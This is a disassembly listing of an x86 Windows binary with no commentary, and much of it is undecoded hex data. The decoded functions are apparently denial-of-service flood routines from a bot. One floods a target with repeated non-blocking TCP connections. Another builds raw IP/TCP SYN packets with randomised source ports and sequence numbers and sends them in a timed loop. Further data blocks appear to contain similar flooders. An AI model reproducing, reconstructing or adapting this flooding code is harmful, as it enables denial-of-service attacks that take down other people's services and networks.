		dd 5057026Ah, 0FFF45D89h, 4D080415h
		db 0, 83h
word_412F4E	dw 0FFF8h		; DATA XREF: ___:off_43FA34o
		dd 15FF5D75h, 4D07B8h, 44858D50h, 68FFFFFCh, 43B4DCh, 891CE850h
		dd 0C4830000h, 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh
		dd 48858D50h, 50FFFFFFh, 0FE44B5FFh, 0E3E8FFFFh, 83FFFF6Ah
		dd 858D14C4h, 0FFFFFC44h, 220EE850h, 75FF0000h,	846CE8C8h
		dd 5959FFFFh, 51E89057h, 8D022DD0h, 0FFFE4885h,	15FF50FFh
		dd 4D0864h, 75FFF883h, 44858D55h, 68FFFFFCh, 43B4BCh, 88B4E850h
		dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h,	50D875FFh
		dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 6A7CE8FFh, 0C483FFFFh
		dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF8405E8h
		dd 575959FFh, 0CFEAE890h, 106A022Dh, 57E4458Dh,	856EE850h
		dd 0C4830000h, 45C7660Ch, 570002E4h, 82415FFh, 8966004Dh
		dd 858DE645h, 0FFFFFE48h, 6415FF50h, 8B004D08h,	4270A835h
		dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h
		dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch,	359805C6h
		dd 0FF45004Dh, 4D082415h, 0D47D3900h, 359AA366h, 8966004Dh
		dd 4D359C1Dh, 3D896600h, 4D359Eh, 35A005C6h, 8880004Dh
		dd 4D35A11Dh, 3D896600h, 4D35A2h, 33E83074h, 8B000088h
		dd 8E3C1D8h, 8829E8h, 0C1D80300h, 1FE808E3h, 3000088h
		dd 8E3C1D8h, 8815E8h, 6AD80300h, 0A41D8901h, 5B004D35h
		dd 0B5FF18EBh, 0FFFFFE44h, 0FF7B2AE8h, 0FF5059FFh, 4D086415h
		dd 35A4A300h, 458B004Dh, 35A8A3E8h, 0E3E8004Dh,	99000087h
		dd 100B9h, 88F9F700h, 4D35AC15h, 87D0E800h, 0B9990000h
		dd 100h, 1588F9F7h, 4D35ADh, 87BDE8h, 0F0B99900h, 68000000h
		dd 400h, 8966F9F7h, 4D35AE3Dh, 1D896600h, 4D35B2h, 15896642h
		dd 4D35B0h, 8795E8h, 0FFB99900h, 0F7000000h, 0B46852F9h
		dd 0E8004D35h, 8430h, 8D0CC483h, 106AE445h, 1C685750h
		dd 68000004h, 4D3598h, 0FFFC75FFh, 4D088815h, 0FFF88300h
		dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 0BC15FFFCh, 0FF004D08h
		dd 4D07B815h, 858D5000h, 0FFFFFE48h, 500875FFh,	43B47468h
		dd 44858D00h, 68FFFFFCh, 200h, 87C6E850h, 0C4830000h, 0DC7D3918h
		dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh
		dd 0FE44B5FFh, 93E8FFFFh, 83FFFF68h, 858D14C4h,	0FFFFFC44h
		dd 1FBEE850h, 75FF0000h, 821CE8C8h, 5959FFFFh, 1E89057h
		dd 0FF022DCEh, 15FFFC75h, 4D08BCh, 3308458Bh, 3CC06BD2h
		dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh
		dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 43B42868h
		dd 47E85000h, 83000086h, 7D391CC4h, 572075DCh, 0FC44858Dh
		dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h,	0E8FFFFFEh
		dd 0FFFF680Eh, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh
		dd 97E8C875h, 59FFFF81h, 0E8905759h, 22DCD7Ch
dword_413284	dd 0B8EC8B55h, 10320h, 888FE8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+550Fo
		dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 0AC15FF00h
		dd 89004D07h, 858D0845h, 0FFFFFF40h, 6415FF50h,	8B004D08h
		dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 0A815FF50h
		dd 3B004D08h, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh
		dd 0FCBC858Dh, 6468FFFFh, 500043B5h, 8589E8h, 0CC48300h
		dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh,	0FEC0858Dh
		dd 0FF50FFFFh, 0FFFEBCB5h, 6750E8FFh, 0C483FFFFh, 0BC858D14h
		dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF80D9E8h, 575959FFh
		dd 2DCCBFE8h, 0C33B9002h, 408B0C74h, 8B008B0Ch,	0FC458900h
		dd 758903EBh, 8D1C6AFCh, 5053E045h, 822FE8h, 0E84D8300h
		dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h
		dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h
		dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h
		dd 4D073Ch, 0C0753B46h,	75FFDA7Ch, 0DC15FF08h, 8D004D08h
		dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 43B53868h, 0BBE85000h
		dd 83000084h, 5D390CC4h, 532075D8h, 0FCBC858Dh,	75FFFFFFh
		dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF6682h
		dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 0BE8D075h
		dd 59FFFF80h, 0E8905359h, 22DCBF0h
dword_413410	dd 0B8EC8B55h, 10310h, 8703E8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+575Bo
		dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 0D5E89000h
		dd 500228D6h, 8493E8h, 116A5900h, 26A026Ah, 8A415FFh, 0D88B004Dh
		dd 106AFF33h, 57F0458Dh, 812EE850h, 0C4830000h,	50858D0Ch
		dd 66FFFFFFh, 2F045C7h,	15FF5000h, 4D0864h, 89FFF883h
		dd 75750845h, 0FF50858Dh, 0FF50FFFFh, 4D08A815h, 75C73B00h
		dd 50858D5Dh, 50FFFFFFh, 0FCCC858Dh, 0B868FFFFh, 500043B5h
		dd 83DDE8h, 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh
		dd 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 65A4E8FFh
		dd 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h, 0E075FF00h
		dd 0FF7F2DE8h, 565959FFh, 0CB12E890h, 408B022Dh, 0EB008B0Ch
		dd 8458D03h, 7D39008Bh,	0F44589DCh, 0DBE81175h,	99000083h
		dd 0FFDCB9h, 42F9F700h,	0FF03EB52h, 15FFDC75h, 4D0824h
		dd 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h, 0DC453900h
		dd 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h,	0D04589D8h
		dd 75890375h, 39F633D8h, 1A7ED47Dh, 838DE8h, 0FFB99900h
		dd 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh, 458BE67Ch
		dd 0D04DFFD0h, 557EC085h, 8D5E0B6Ah, 106AF045h,	5FE85750h
		dd 6A000083h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh, 0FEFCF085h
		dd 0FF5350FFh, 4D088815h, 0D875FF00h, 26D881E8h, 754E9002h
		dd 0DC7D39CEh, 2FE8BC75h, 99000083h, 0FFDCB9h, 42F9F700h
		dd 2415FF52h, 66004D08h, 0EBF24589h, 50858DA1h,	50FFFFFFh
		dd 0FCCC858Dh, 8C68FFFFh, 500043B5h, 82A5E8h, 0CC48300h
		dd 75E87D39h, 858D5720h, 0FFFFFCCCh, 50E475FFh,	0FED0858Dh
		dd 0FF50FFFFh, 0FFFECCB5h, 646CE8FFh, 0C483FFFFh, 0CC858D14h
		dd 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF7DF5E8h, 575959FFh
		dd 0C9DAE890h
		db 2Dh,	2
word_413626	dw 8B55h		; DATA XREF: sub_401ACD+4DECo
		dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh
		dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh
		dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h,	8D500CC4h
		dd 0FFFBEC85h, 0B5E068FFh, 0E8500043h, 820Ah, 0C483F633h
		dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h
		dd 50FFFFFFh, 0FDECB5FFh, 0CFE8FFFFh, 83FFFF63h, 858D14C4h
		dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7D58E8F0h,	5959FFFFh
		dd 3DE89056h, 5F022DC9h
; ---------------------------------------------------------------------------
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4136C5	proc near		; CODE XREF: ___:004137AEp

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_4D0824
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_413783
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


loc_413710:				; CODE XREF: sub_4136C5+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_413718:				; CODE XREF: sub_4136C5+7Aj
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_41373B
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		nop
		call	near ptr 71AB155Ah


loc_41373B:				; CODE XREF: sub_4136C5+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_413718
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_413749:				; CODE XREF: sub_4136C5+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		nop
		call	near ptr 71AB3E5Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_413749
		push	64h
		call	near ptr 2680E26h
		nop
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_41376D:				; CODE XREF: sub_4136C5+B4j
		push	dword ptr [esi]
		call	near ptr 71AB1A6Dh
		nop
		add	esi, 4
		dec	ebx
		jnz	short loc_41376D
		dec	[ebp+arg_4]
		jnz	short loc_413710
		pop	edi
		pop	esi
		pop	ebx


loc_413783:				; CODE XREF: sub_4136C5+3Ej
		xor	eax, eax
		leave
		retn
sub_4136C5	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	edi, eax
		call	sub_41B779
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B779
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_4136C5
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4137BD
		push	1
		pop	eax


loc_4137BD:				; CODE XREF: ___:004137B8j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
dword_4137CC	dd 81EC8B55h, 414ECh, 8458B00h,	85B95756h, 8B000000h, 0ECBD8DF0h
					; DATA XREF: sub_401ACD+6449o
		dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h
		dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h
		dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 43B60Ch, 8064E850h
		dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh
		dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF6229E8h
		dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh
		dd 0FFFF7BB2h, 90565959h, 2DC797E8h
; ---------------------------------------------------------------------------
		add	bl, [edi+5Eh]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41386B	proc near		; CODE XREF: ___:00413B59p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4D0794
		test	eax, eax
		jz	short loc_4138AB
		xor	eax, eax
		jmp	loc_413B19
; ---------------------------------------------------------------------------


loc_4138AB:				; CODE XREF: sub_41386B+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4D08C8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_413B11
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4D0804
		cmp	eax, 0FFFFFFFFh
		jz	loc_413B07
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_4D0824
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4D0824
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4D0824
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4D0824
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 27A0000h
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 27908BDh
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_413996:				; CODE XREF: sub_41386B+25Dj
					; sub_41386B+26Bj
		mov	[ebp+var_24], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4D0824
		mov	[ebp+var_34], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4D0824
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4D0820
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4D0824
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_4D0888
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413ADB
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 27908BDh
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_413B04
		jl	loc_413996
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_413B04
		jmp	loc_413996
; ---------------------------------------------------------------------------


loc_413ADB:				; CODE XREF: sub_41386B+247j
		call	dword_4D07B8
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_43B634
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4151AC
		add	esp, 10h
		jmp	short loc_413B07
; ---------------------------------------------------------------------------


loc_413B04:				; CODE XREF: sub_41386B+25Bj
					; sub_41386B+269j
		mov	ebx, [ebp+arg_8]


loc_413B07:				; CODE XREF: sub_41386B+78j
					; sub_41386B+297j
		push	[ebp+var_C]
		call	dword_4D08BC
		pop	esi


loc_413B11:				; CODE XREF: sub_41386B+5Bj
		call	dword_4D077C
		mov	eax, ebx


loc_413B19:				; CODE XREF: sub_41386B+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_41386B	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41B779
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_41386B
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_413B68
		push	1
		pop	eax


loc_413B68:				; CODE XREF: ___:00413B63j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_413B77	db 55h			; DATA XREF: sub_401ACD+6E44o
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 7BD1h, 858D5059h, 0FFFFFE70h, 6415FF50h, 50004D08h
		dd 5DE8h, 50595900h, 0FC6C858Dh, 5468FFFFh, 500043B6h
		dd 7CB5E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh
		dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h,	0E8FFFFFEh
		dd 0FFFF5E7Ah, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h
		dd 3E8F075h, 59FFFF78h,	0E9E85659h, 90022DC3h, 8B555E5Fh
		dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh
		dd 6583046Ah, 0BB5E00A8h, 0FFh,	0C033066Ah, 0AC7D8D5Ah
		dd 0FF7C8D89h, 45C7FFFFh, 280h,	84758900h, 0C7885589h
		dd 88C45h, 45C70000h, 0C90h, 9445C700h,	11h, 169845C7h
		dd 0C7000000h, 299C45h,	45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h
		dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h
		dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh
		dd 100h, 930BE857h, 89590000h, 5057FC45h, 83815FFh, 75FF004Dh
		dd 0A815FFFCh, 8B004D08h, 6A530C40h, 8B026A03h,	89008B00h
		dd 15FFF445h, 4D08A4h, 56D84D8Dh, 6A026A51h, 45895000h
		dd 415FFFCh, 0BE004D08h, 200h, 77D3E856h, 3D8B0000h, 4270A8h
		dd 0F8458959h, 4589D7FFh, 8458BF0h, 29A68h, 6C858900h
		dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 82415FFh, 8966004Dh
		dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h
		dd 870F0C45h, 0CFh, 7B91E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h
		dd 0E2C100FFh, 89D00B18h, 77E8F455h, 9900007Bh,	0F9F7CB8Bh
		dd 0E8AC5589h, 7B6Ah, 1FA4B999h, 45C60000h, 0F9F745DCh
		dd 4DD45C6h, 0E8D45589h, 7B52h,	0E0458966h, 7B49E8h, 990A6A00h
		dd 66F9F759h, 0B095448Bh, 2415FF50h, 56004D08h,	0E2458966h
		dd 82415FFh, 8966004Dh,	5D88DE45h, 7B20E8E4h, 0E6A0000h
		dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh
		dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF6E7FE8h, 458966FFh
		dd 0DC458DE6h, 0FF50146Ah, 15E8F875h, 83000085h, 858D14C4h
		dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 88815FFh
		dd 1AE9004Dh, 0FFFFFFFFh, 8EE8F875h, 59000072h,	0FFFC75FFh
		dd 4D08BC15h, 58016A00h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
byte_413E35	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+53E8o
		dd 440EC81h, 458B0000h,	57565308h, 0F08B686Ah, 0C0BD8D59h
		dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah
		dd 19Ch, 88C03359h, 0FFFF609Dh,	66ABF3FFh, 3D8BAAABh, 4270A8h
		dd 0E850D7FFh, 7A58h, 0FF6859h,	36A0000h, 15FF026Ah, 4D08A4h
		dd 89FFF883h, 6675FC45h, 7B815FFh, 8D50004Dh, 0FFFBC085h
		dd 0B76C68FFh, 0E8500043h, 79D6h, 390CC483h, 0FFFF589Dh
		dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h
		dd 50FFFFFEh, 0FDC0B5FFh, 97E8FFFFh, 83FFFF5Bh,	858D14C4h
		dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF751DE8h
		dd 535959FFh, 2DC103E8h, 4D8D9002h, 51046ACCh, 5053026Ah
		dd 0FFCC7589h, 4D080415h, 0FFF88300h, 15FF6675h, 4D07B8h
		dd 0C0858D50h, 68FFFFFBh, 43B734h, 7958E850h, 0C4830000h
		dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h,	0FF54B5FFh
		dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF5B19E8h
		dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh
		dd 9FE8FFFFh, 59FFFF74h, 0E8905359h, 22DC084h, 0FDC4858Dh
		dd 0FF50FFFFh, 4D086415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h
		dd 43B71468h, 0E7E85000h, 39000078h, 0FFFF589Dh, 755959FFh
		dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h
		dd 0B5FF50FFh, 0FFFFFDC0h, 0FF5AA9E8h, 14C483FFh, 0FBC0858Dh
		dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 2FE8FFFFh, 59FFFF74h
		dd 0E8905359h, 22DC014h, 458D106Ah, 0E85053BCh,	7598h
		dd 660CC483h, 2BC45C7h,	15FF5300h, 4D0824h, 0BE458966h
		dd 0FDC4858Dh, 0FF50FFFFh, 4D086415h, 0C0458900h, 0FF085D89h
		dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h
		dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 82415FFh
		dd 9D39004Dh, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h
		dd 80DC45C6h, 6DD45C6h,	0DE5D8966h, 73E82D74h, 8B000078h
		dd 8E6C1F0h, 7869E8h, 0C1F00300h, 5FE808E6h, 3000078h
		dd 8E6C1F0h, 7855E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh
		dd 0FFFDC0B5h, 6B6DE8FFh, 5059FFFFh, 86415FFh, 4589004Dh
		dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7822h
		dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 2415FFFFh
		dd 66004D08h, 0E8EA4589h, 7802h, 401B999h, 0F9F70000h
		dd 2415FF52h, 68004D08h, 12345678h, 0E8458966h,	82015FFh
		dd 4589004Dh, 44858DECh, 68FFFFFEh, 430508h, 77EEE850h
		dd 85590000h, 97459C0h,	0C6F05D89h, 0EB02F545h,	44858D5Ch
		dd 68FFFFFEh, 430348h, 77CEE850h, 85590000h, 97459C0h
		dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42C198h
		dd 77AEE850h, 85590000h, 257459C0h, 7785E8h, 99036A00h
		dd 89F9F759h, 77E8F055h, 6A000077h, 0F7599902h,	1ADAF7F9h
		dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h
		dd 4D0824h, 0F6458966h,	89E0458Bh, 458B9C45h, 66146AE4h
		dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h,	2415FF06h
		dd 66004D08h, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh
		dd 8147E8h, 0E8458D00h,	8D50146Ah, 0E8508045h, 8138h, 0FF60858Dh
		dd 346AFFFFh, 6A82E850h, 8966FFFFh, 458DF845h, 50146AD4h
		dd 0FF60858Dh, 0E850FFFFh, 8114h, 6AE8458Dh, 858D5014h
		dd 0FFFFFF74h, 8102E850h, 46A0000h, 5388458Dh, 7376E850h
		dd 0C4830000h, 60858D44h, 6AFFFFFFh, 3DE85028h,	66FFFF6Ah
		dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 80CFE8h
		dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h,	503C6AFFh
		dd 0FFFC75FFh, 4D088815h, 0FFF88300h, 45FF0874h, 0FDBAE908h
		dd 75FFFFFFh, 0BC15FFFCh, 0FF004D08h, 4D07B815h, 858D5000h
		dd 0FFFFFDC4h, 500875FFh, 43B6C468h, 0C0858D00h, 68FFFFFBh
		dd 200h, 76E6E850h, 0C4830000h,	589D3918h, 75FFFFFFh, 858D5323h
		dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh
		dd 0FFFFFDC0h, 0FF57ADE8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh
		dd 0ED8h, 0FF44B5FFh, 33E8FFFFh, 59FFFF71h, 0E8905359h
		dd 22DBD18h, 0FFFC75FFh, 4D08BC15h, 8458B00h, 0C06BD233h
